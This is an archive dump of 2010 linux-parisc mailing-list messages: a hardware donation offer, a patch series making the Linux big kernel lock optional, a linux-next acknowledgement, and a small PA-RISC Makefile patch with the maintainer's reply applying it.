Xref: news.gmane.org gmane.linux.ports.parisc:3093
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3093>

Hi everyone,

I have an HP PA-RISC C110 A4200A 9000 system that I'd like to donate.
Sorry, I don't have the specs but it already had debian on it (has HDD,
video and ethernet). I'm located in Philadelphia, USA and would like to
know if someone interested could pick it up. Unfortunately, I can't
deliver. I'd like to see it being used rather than recycled.

Thanks!
Anbu.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.uml.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.pci,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.ports.alpha
Subject: [PATCH 00/18] Make the big kernel lock optional
Date: Tue, 14 Sep 2010 21:34:51 +0200
Lines: 158
Approved: news@gmane.org
Message-ID: <1284492909-7147-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1284688647 15842 80.91.229.12 (17 Sep 2010 01:57:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 17 Sep 2010 01:57:27 +0000 (UTC)
Cc: linux-sh@vger.kernel.org, Roman Zippel <zippel@linux-m68k.org>,
	linux-pci@vger.kernel.org, Heiko Carstens <heiko.carstens@de.ibm.com>,
	Bob Picco <bob.picco@hp.com>, Jaroslav Kysela <perex@perex.cz>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Mark Gross <mark.gross@intel.com>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Matt Turner <mattst88@gmail.com>, linux-media@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-s390@vger.kernel.org, Clemens Ladisch <clemens@ladisch.de>,
	Jeff Dike <jdike@addtoit.com>,
	Mauro Carvalho Chehab <mchehab@infradead.org>,
	Mikael Starvik <starvik@axis.com>, Tejun Heo <tj@kernel.org>,
	linux-m68k@lists.linux-m68k.org,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Jesse Barnes <jbarnes@virtuousgeek.org>,
	Thomas Gl
To: arnd@arndb.de
Original-X-From: user-mode-linux-devel-bounces@lists.sourceforge.net Fri Sep 17 03:57:18 2010
Return-path: <user-mode-linux-devel-bounces@lists.sourceforge.net>
Envelope-to: glud-user-mode-linux-devel@gmane.org
Original-Received: from lists.sourceforge.net ([216.34.181.88])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <user-mode-linux-devel-bounces@lists.sourceforge.net>)
	id 1OwQCT-0000Vp-V3
	for glud-user-mode-linux-devel@gmane.org; Fri, 17 Sep 2010 03:57:18 +0200
Original-Received: from localhost ([127.0.0.1] helo=sfs-ml-2.v29.ch3.sourceforge.com)
	by sfs-ml-2.v29.ch3.sourceforge.com with esmtp (Exim 4.69)
	(envelope-from <user-mode-linux-devel-bounces@lists.sourceforge.net>)
	id 1OwQBQ-0002CG-4q; Fri, 17 Sep 2010 01:56:12 +0000
Original-Received: from sog-mx-2.v43.ch3.sourceforge.com ([172.29.43.192]
	helo=mx.sourceforge.net)
	by sfs-ml-4.v29.ch3.sourceforge.com with esmtp (Exim 4.69)
	(envelope-from <arnd@arndb.de>) id 1OvbY1-0002FE-BX
	for user-mode-linux-devel@lists.sourceforge.net;
	Tue, 14 Sep 2010 19:52:09 +0000
X-ACL-Warn: 
Original-Received: from moutng.kundenserver.de ([212.227.126.186])
	by sog-mx-2.v43.ch3.sourceforge.com with esmtp (Exim 4.69)
	id 1OvbXy-0000JU-S2 for user-mode-linux-devel@lists.sourceforge.net;
	Tue, 14 Sep 2010 19:52:09 +0000
Original-Received: from localhost.localdomain (port-92-200-37-189.dynamic.qsc.de
	[92.200.37.189])
	by mrelayeu.kundenserver.de (node=mrbap0) with ESMTP (Nemesis)
	id 0MSXwa-1PKrMQ3JoK-00RjL9; Tue, 14 Sep 2010 21:35:21 +0200
X-Mailer: git-send-email 1.7.1
X-Provags-ID: V02:K0:mNq1e29NBFs8ylESwsNUSmTQFFrZgUxRTuCpvbmbRoX
	p4NfLkSfl/U4NXLTa24MWLtEdFrfP9t+TMJxS9VGiaSqAwiYMp
	xoWI3J5YyQs6CkCl4OKT9R5SsughvmoBQBj+TCMK/Ud1ca5JWp
	WBttrDZBlgFQujoZEgAabHk9xgj4dQuB0eiIE/RPYJaoxhuAlk
	t8JADT4uvHaFnwLgfNN6A==
X-Spam-Score: -0.0 (/)
X-Spam-Report: Spam Filtering performed by mx.sourceforge.net.
	See http://spamassassin.org/tag/ for more details.
	-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/,
	low trust [212.227.126.186 listed in list.dnswl.org]
	-0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
X-Headers-End: 1OvbXy-0000JU-S2
X-Mailman-Approved-At: Fri, 17 Sep 2010 01:56:10 +0000
X-BeenThere: user-mode-linux-devel@lists.sourceforge.net
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: The user-mode Linux development list
	<user-mode-linux-devel.lists.sourceforge.net>
List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/user-mode-linux-devel>,
	<mailto:user-mode-linux-devel-request@lists.sourceforge.net?subject=unsubscribe>
List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum_name=user-mode-linux-devel>
List-Post: <mailto:user-mode-linux-devel@lists.sourceforge.net>
List-Help: <mailto:user-mode-linux-devel-request@lists.sourceforge.net?subject=help>
List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/user-mode-linux-devel>,
	<mailto:user-mode-linux-devel-request@lists.sourceforge.net?subject=subscribe>
Errors-To: user-mode-linux-devel-bounces@lists.sourceforge.net
Xref: news.gmane.org gmane.linux.uml.devel:12500 gmane.linux.ports.sh.devel:8874 gmane.linux.kernel.pci:9531 gmane.linux.drivers.video-input-infrastructure:23227 gmane.linux.ports.parisc:3094 gmane.linux.network:172209 gmane.linux.ports.alpha:1138
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3094>

This is a set of simple patches to remove the big kernel
lock in some remaining areas and introduce a Kconfig
option which I'd like to have included in linux-next
and get included in the 2.6.37 merge window.

I have a total of five topic branches, which together
remove the BKL from all code except those modules
which get marked as 'depends on BKL' in the final
patch of this series.

It's fine if maintainers want to add some of these
patches to their own queue, as long as they all make
it into linux-next.

Stephen, please add
git+ssh://master.kernel.org/pub/scm/linux/kernel/git/arnd/bkl.git config

Arnd Bergmann (17):
  hpet: kill BKL, add compat_ioctl
  proc/pci: kill BKL
  s390/block: kill the big kernel lock
  isapnp: BKL removal
  alpha: kill big kernel lock
  cris: autoconvert trivial BKL users
  m68k: remove big kernel lock
  parisc: remove big kernel lock
  sh: kill big kernel lock
  uml: kill big kernel lock
  tlclk: remove big kernel lock
  i4l: kill big kernel lock
  misdn: kill big kernel lock
  dvb/bt8xx: kill the big kernel lock
  dvb-core: kill the big kernel lock
  rtmutex-tester: make it build without BKL
  BKL: introduce CONFIG_BKL.

Al Viro (1):
  fix rawctl compat ioctls breakage on amd64 and itanic

 arch/alpha/kernel/osf_sys.c                 |    5 -
 arch/alpha/kernel/traps.c                   |    3 -
 arch/cris/arch-v10/drivers/ds1302.c         |    7 +-
 arch/cris/arch-v10/drivers/pcf8563.c        |    6 +-
 arch/cris/arch-v10/drivers/sync_serial.c    |   11 +-
 arch/cris/arch-v32/drivers/cryptocop.c      |    4 +-
 arch/cris/arch-v32/drivers/mach-a3/gpio.c   |   11 +-
 arch/cris/arch-v32/drivers/mach-fs/gpio.c   |   11 +-
 arch/cris/arch-v32/drivers/pcf8563.c        |    6 +-
 arch/cris/arch-v32/drivers/sync_serial.c    |   11 +-
 arch/m68k/kernel/sys_m68k.c                 |    7 +-
 arch/parisc/kernel/perf.c                   |    4 -
 arch/sh/kernel/ptrace_64.c                  |    9 +-
 arch/um/drivers/harddog_kern.c              |   13 +-
 arch/um/drivers/hostaudio_kern.c            |    8 +-
 arch/um/drivers/ubd_kern.c                  |    8 +-
 arch/um/kernel/exec.c                       |    2 -
 drivers/char/hpet.c                         |   98 +++++++----
 drivers/char/raw.c                          |  243 +++++++++++++++-----------
 drivers/char/tlclk.c                        |    6 +-
 drivers/gpu/drm/Kconfig                     |    5 +-
 drivers/isdn/capi/Kconfig                   |    2 +-
 drivers/isdn/i4l/isdn_tty.c                 |   11 +-
 drivers/isdn/mISDN/stack.c                  |    7 -
 drivers/media/Kconfig                       |    1 +
 drivers/media/dvb/bt8xx/dst_ca.c            |    7 +-
 drivers/media/dvb/dvb-core/dmxdev.c         |   17 +--
 drivers/media/dvb/dvb-core/dvb_ca_en50221.c |    8 +-
 drivers/media/dvb/dvb-core/dvb_net.c        |    9 +-
 drivers/media/dvb/dvb-core/dvbdev.c         |   17 +-
 drivers/net/appletalk/Kconfig               |    1 +
 drivers/pci/proc.c                          |    4 +-
 drivers/pnp/isapnp/proc.c                   |   13 +-
 drivers/s390/block/dasd.c                   |    6 -
 drivers/s390/block/dasd_ioctl.c             |   17 +--
 drivers/s390/block/dcssblk.c                |    5 -
 drivers/staging/cx25821/Kconfig             |    1 +
 drivers/staging/easycap/Kconfig             |    1 +
 drivers/staging/go7007/Kconfig              |    1 +
 drivers/staging/usbip/Kconfig               |    2 +-
 drivers/usb/gadget/Kconfig                  |    2 +-
 fs/Kconfig                                  |    1 +
 fs/adfs/Kconfig                             |    1 +
 fs/afs/Kconfig                              |    1 +
 fs/autofs/Kconfig                           |    1 +
 fs/autofs4/Kconfig                          |    1 +
 fs/ceph/Kconfig                             |    1 +
 fs/coda/Kconfig                             |    1 +
 fs/compat_ioctl.c                           |   70 --------
 fs/ecryptfs/Kconfig                         |    1 +
 fs/freevxfs/Kconfig                         |    1 +
 fs/hpfs/Kconfig                             |    1 +
 fs/jffs2/Kconfig                            |    1 +
 fs/ncpfs/Kconfig                            |    1 +
 fs/nfs/Kconfig                              |    1 +
 fs/nfsd/Kconfig                             |    1 +
 fs/ocfs2/Kconfig                            |    1 +
 fs/qnx4/Kconfig                             |    1 +
 fs/reiserfs/Kconfig                         |    1 +
 fs/smbfs/Kconfig                            |    1 +
 fs/squashfs/Kconfig                         |    1 +
 fs/udf/Kconfig                              |    1 +
 fs/ufs/Kconfig                              |    1 +
 include/linux/smp_lock.h                    |    7 +-
 init/Kconfig                                |    2 +-
 kernel/rtmutex-tester.c                     |    6 +
 kernel/trace/Kconfig                        |    1 +
 lib/Kconfig.debug                           |    9 +
 net/ipx/Kconfig                             |    1 +
 net/irda/Kconfig                            |    1 +
 net/irda/irnet/Kconfig                      |    1 +
 net/x25/Kconfig                             |    1 +
 72 files changed, 355 insertions(+), 375 deletions(-)

Cc: Al Viro <viro@zeniv.linux.org.uk>
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Arjan van de Ven <arjan@linux.intel.com>
Cc: Bob Picco <bob.picco@hp.com>
Cc: Clemens Ladisch <clemens@ladisch.de>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Helge Deller <deller@gmx.de>
Cc: Ingo Molnar <mingo@elte.hu>
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Jaroslav Kysela <perex@perex.cz>
Cc: Jeff Dike <jdike@addtoit.com>
Cc: Jesper Nilsson <jesper.nilsson@axis.com>
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>
Cc: Karsten Keil <isdn@linux-pingi.de>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Cc: Mark Gross <mark.gross@intel.com>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: Matt Turner <mattst88@gmail.com>
Cc: Mauro Carvalho Chehab <mchehab@infradead.org>
Cc: Mikael Starvik <starvik@axis.com>
Cc: Paul Mundt <lethal@linux-sh.org>
Cc: Richard Henderson <rth@twiddle.net>
Cc: Roman Zippel <zippel@linux-m68k.org>
Cc: Stephen Rothwell <sfr@canb.auug.org.au>
Cc: Tejun Heo <tj@kernel.org>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: linux-alpha@vger.kernel.org
Cc: linux-cris-kernel@axis.com
Cc: linux-m68k@lists.linux-m68k.org
Cc: linux-media@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Cc: linux-pci@vger.kernel.org
Cc: linux-s390@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: netdev@vger.kernel.org
Cc: user-mode-linux-devel@lists.sourceforge.net

------------------------------------------------------------------------------
Start uncovering the many advantages of virtual appliances
and start using them to simplify application deployment and
accelerate your shift to cloud computing.
http://p.sf.net/sfu/novell-sfdev2dev

From - Thu Nov 08 21:06:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.uml.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.pci,gmane.linux.network,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.parisc,gmane.linux.ports.alpha
Subject: Re: [PATCH 00/18] Make the big kernel lock optional
Date: Wed, 15 Sep 2010 19:37:18 +1000
Lines: 94
Approved: news@gmane.org
Message-ID: <20100915193718.3117b7bb.sfr@canb.auug.org.au>
References: <1284492909-7147-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="===============0826911471332585572=="
X-Trace: dough.gmane.org 1284688651 15846 80.91.229.12 (17 Sep 2010 01:57:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 17 Sep 2010 01:57:31 +0000 (UTC)
Cc: Matt, linux-sh@vger.kernel.org, Roman Zippel <zippel@linux-m68k.org>,
	linux-pci@vger.kernel.org, Heiko Carstens <heiko.carstens@de.ibm.com>,
	Picco <bob.picco@hp.com>, Jaroslav Kysela <perex@perex.cz>,
	netdev@vger.kernel.org, Thomas Gleixner <tglx@linutronix.de>,
	linux-s390@vger.kernel.org, Jesper Nilsson <jesper.nilsson@axis.com>,
	Mark Gross <mark.gross@intel.com>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Uytterhoeven <geert@linux-m68k.org>, Karsten, Geert,
	Ingo Molnar <mingo@elte.hu>, linux-media@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	Clemens Ladisch <clemens@ladisch.de>, Jeff Dike <jdike@addtoit.com>,
	Mauro Carvalho Chehab <mchehab@infradead.org>,
	Mikael Starvik <starvik@axis.com>, Tejun Heo <tj@kernel.org>,
	linux-m68k@lists.linux-m68k.org,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Jesse Barnes <jbarnes@vi
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: user-mode-linux-devel-bounces@lists.sourceforge.net Fri Sep 17 03:57:23 2010
Return-path: <user-mode-linux-devel-bounces@lists.sourceforge.net>
Envelope-to: glud-user-mode-linux-devel@gmane.org
Original-Received: from lists.sourceforge.net ([216.34.181.88])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <user-mode-linux-devel-bounces@lists.sourceforge.net>)
	id 1OwQCY-0000YL-8N
	for glud-user-mode-linux-devel@gmane.org; Fri, 17 Sep 2010 03:57:22 +0200
Original-Received: from localhost ([127.0.0.1] helo=sfs-ml-2.v29.ch3.sourceforge.com)
	by sfs-ml-2.v29.ch3.sourceforge.com with esmtp (Exim 4.69)
	(envelope-from <user-mode-linux-devel-bounces@lists.sourceforge.net>)
	id 1OwQBQ-0002CL-7B; Fri, 17 Sep 2010 01:56:12 +0000
Original-Received: from sog-mx-2.v43.ch3.sourceforge.com ([172.29.43.192]
	helo=mx.sourceforge.net)
	by sfs-ml-4.v29.ch3.sourceforge.com with esmtp (Exim 4.69)
	(envelope-from <sfr@canb.auug.org.au>) id 1Ovopn-00059y-Sz
	for user-mode-linux-devel@lists.sourceforge.net;
	Wed, 15 Sep 2010 10:03:23 +0000
X-ACL-Warn: 
Original-Received: from chilli.pcug.org.au ([203.10.76.44] helo=smtps.tip.net.au)
	by sog-mx-2.v43.ch3.sourceforge.com with esmtp (Exim 4.69)
	id 1Ovopm-0007u5-Cn for user-mode-linux-devel@lists.sourceforge.net;
	Wed, 15 Sep 2010 10:03:23 +0000
Original-Received: from canb.auug.org.au (ta-1-1.tip.net.au [203.11.71.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtps.tip.net.au (Postfix) with ESMTPSA id 42DE2144BA9;
	Wed, 15 Sep 2010 19:37:33 +1000 (EST)
In-Reply-To: <1284492909-7147-1-git-send-email-arnd@arndb.de>
X-Mailer: Sylpheed 3.0.2 (GTK+ 2.20.1; i486-pc-linux-gnu)
X-Spam-Score: -0.0 (/)
X-Spam-Report: Spam Filtering performed by mx.sourceforge.net.
	See http://spamassassin.org/tag/ for more details.
	-0.0 AWL AWL: From: address is in the auto white-list
X-Headers-End: 1Ovopm-0007u5-Cn
X-Mailman-Approved-At: Fri, 17 Sep 2010 01:56:10 +0000
X-BeenThere: user-mode-linux-devel@lists.sourceforge.net
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: The user-mode Linux development list
	<user-mode-linux-devel.lists.sourceforge.net>
List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/user-mode-linux-devel>,
	<mailto:user-mode-linux-devel-request@lists.sourceforge.net?subject=unsubscribe>
List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum_name=user-mode-linux-devel>
List-Post: <mailto:user-mode-linux-devel@lists.sourceforge.net>
List-Help: <mailto:user-mode-linux-devel-request@lists.sourceforge.net?subject=help>
List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/user-mode-linux-devel>,
	<mailto:user-mode-linux-devel-request@lists.sourceforge.net?subject=subscribe>
Errors-To: user-mode-linux-devel-bounces@lists.sourceforge.net
Xref: news.gmane.org gmane.linux.uml.devel:12501 gmane.linux.ports.sh.devel:8875 gmane.linux.kernel.pci:9532 gmane.linux.network:172210 gmane.linux.drivers.video-input-infrastructure:23228 gmane.linux.ports.parisc:3095 gmane.linux.ports.alpha:1139
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3095>

--===============0826911471332585572==
Content-Type: multipart/signed; protocol="application/pgp-signature";
	micalg="PGP-SHA1";
	boundary="Signature=_Wed__15_Sep_2010_19_37_18_+1000_W4OgHxa=ez9J+hdT"

--Signature=_Wed__15_Sep_2010_19_37_18_+1000_W4OgHxa=ez9J+hdT
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, 14 Sep 2010 21:34:51 +0200 Arnd Bergmann <arnd@arndb.de> wrote:
>
> Stephen, please add
> git+ssh://master.kernel.org/pub/scm/linux/kernel/git/arnd/bkl.git config

Added from today.

Thanks for adding your subsystem tree as a participant of linux-next.  As
you may know, this is not a judgment of your code.  The purpose of
linux-next is for integration testing and to lower the impact of
conflicts between subsystems in the next merge window.=20

You will need to ensure that the patches/commits in your tree/series have
been:
     * submitted under GPL v2 (or later) and include the Contributor's
	Signed-off-by,
     * posted to the relevant mailing list,
     * reviewed by you (or another maintainer of your subsystem tree),
     * successfully unit tested, and=20
     * destined for the current or next Linux merge window.

Basically, this should be just what you would send to Linus (or ask him
to fetch).  It is allowed to be rebased if you deem it necessary.

--=20
Cheers,
Stephen Rothwell=20
sfr@canb.auug.org.au

Legal Stuff:
By participating in linux-next, your subsystem tree contributions are
public and will be included in the linux-next trees.  You may be sent
e-mail messages indicating errors or other issues when the
patches/commits from your subsystem tree are merged and tested in
linux-next.  These messages may also be cross-posted to the linux-next
mailing list, the linux-kernel mailing list, etc.  The linux-next tree
project and IBM (my employer) make no warranties regarding the linux-next
project, the testing procedures, the results, the e-mails, etc.  If you
don't agree to these ground rules, let me know and I'll remove your tree
from participation in linux-next.

--Signature=_Wed__15_Sep_2010_19_37_18_+1000_W4OgHxa=ez9J+hdT
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iQEcBAEBAgAGBQJMkJPOAAoJEDMEi1NhKgbsHl8H+gIjNh21BvYQwVmcAhiVTAfw
A05Ptgdei0a7COpn+ogKi9Hlt0eM1b31ewZ3pAmqwXiOogNuomSetuZlKWo523vH
4Ur59ge1eFX4U6dEebVnJXTBOUUZHa6/mdIp684Jc0Oeh4aQzEv4YQYrCeBVZfcW
Dr969+hoer3dWHJ3X7VELBeKt+y+k4g6YUIYwGTXKn77iV/GG72XdIV5N+AMiiT4
BZp+1LnGgW/tkBQOujbXbyh9/08fWN3J75blTap0LripOHuo03zhWCWR+EeEiMza
92dkYYVlSY/gjksREqeBZSrZk4RDM4emcm0FndfC3835suxcoGwZa6EaCqQrnXA=
=cKMf
-----END PGP SIGNATURE-----

--Signature=_Wed__15_Sep_2010_19_37_18_+1000_W4OgHxa=ez9J+hdT--


--===============0826911471332585572==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

------------------------------------------------------------------------------
Start uncovering the many advantages of virtual appliances
and start using them to simplify application deployment and
accelerate your shift to cloud computing.
http://p.sf.net/sfu/novell-sfdev2dev
--===============0826911471332585572==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
User-mode-linux-devel mailing list
User-mode-linux-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/user-mode-linux-devel

--===============0826911471332585572==--



From - Thu Nov 08 21:06:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: matt mooney <mfm@muteddisk.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: [PATCH 11/20] parisc: change to new flag variable
Date: Wed, 22 Sep 2010 23:51:05 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <1285224665-29831-1-git-send-email-mfm@muteddisk.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1285224759 19847 80.91.229.12 (23 Sep 2010 06:52:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 23 Sep 2010 06:52:39 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	kernel-janitors@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 23 08:52:34 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1OyffS-0003h2-If
	for glk-linux-kernel-3@lo.gmane.org; Thu, 23 Sep 2010 08:52:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753985Ab0IWGv6 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 23 Sep 2010 02:51:58 -0400
Original-Received: from qmta04.emeryville.ca.mail.comcast.net ([76.96.30.40]:57073 "EHLO
	qmta04.emeryville.ca.mail.comcast.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753955Ab0IWGv4 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 23 Sep 2010 02:51:56 -0400
Original-Received: from omta05.emeryville.ca.mail.comcast.net ([76.96.30.43])
	by qmta04.emeryville.ca.mail.comcast.net with comcast
	id A6fe1f0060vp7WLA46rvor; Thu, 23 Sep 2010 06:51:55 +0000
Original-Received: from haskell.muteddisk.com ([98.239.78.58])
	by omta05.emeryville.ca.mail.comcast.net with comcast
	id A6rv1f0021FUwZe8R6rv8M; Thu, 23 Sep 2010 06:51:55 +0000
Original-Received: by haskell.muteddisk.com (Postfix, from userid 1000)
	id 6480C412AC; Wed, 22 Sep 2010 23:51:07 -0700 (PDT)
X-Mailer: git-send-email 1.6.4.2
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1039624 gmane.linux.ports.parisc:3096 gmane.linux.kernel.janitors:20534
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3096>

Replace EXTRA_CFLAGS with ccflags-y.

Signed-off-by: matt mooney <mfm@muteddisk.com>
---
 arch/parisc/math-emu/Makefile |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/math-emu/Makefile b/arch/parisc/math-emu/Makefile
index 1f3f225..0bd63b0 100644
--- a/arch/parisc/math-emu/Makefile
+++ b/arch/parisc/math-emu/Makefile
@@ -3,7 +3,7 @@
 #
 
 # See arch/parisc/math-emu/README
-EXTRA_CFLAGS += -Wno-parentheses -Wno-implicit-function-declaration \
+ccflags-y := -Wno-parentheses -Wno-implicit-function-declaration \
 	-Wno-uninitialized -Wno-strict-prototypes -Wno-return-type \
 	-Wno-implicit-int
 
-- 
1.7.2.1


From - Thu Nov 08 21:06:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.janitors
Subject: Re: [PATCH 11/20] parisc: change to new flag variable
Date: Thu, 23 Sep 2010 11:50:37 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20100923155037.GA27175@bombadil.infradead.org>
References: <1285224665-29831-1-git-send-email-mfm@muteddisk.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1285257065 8594 80.91.229.12 (23 Sep 2010 15:51:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 23 Sep 2010 15:51:05 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	kernel-janitors@vger.kernel.org
To: matt mooney <mfm@muteddisk.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 23 17:51:02 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Oyo4c-0007St-Eu
	for glpp-linux-parisc@lo.gmane.org; Thu, 23 Sep 2010 17:51:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752880Ab0IWPvB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 23 Sep 2010 11:51:01 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:38295 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751411Ab0IWPvA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 23 Sep 2010 11:51:00 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1Oyo4D-0001fU-UW; Thu, 23 Sep 2010 15:50:37 +0000
Content-Disposition: inline
In-Reply-To: <1285224665-29831-1-git-send-email-mfm@muteddisk.com>
User-Agent: Mutt/1.5.20 (2009-08-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3097 gmane.linux.kernel:1039802 gmane.linux.kernel.janitors:20546
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3097>

On Wed, Sep 22, 2010 at 11:51:05PM -0700, matt mooney wrote:
> Replace EXTRA_CFLAGS with ccflags-y.
> 

Looks reasonable, thanks! Applied.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

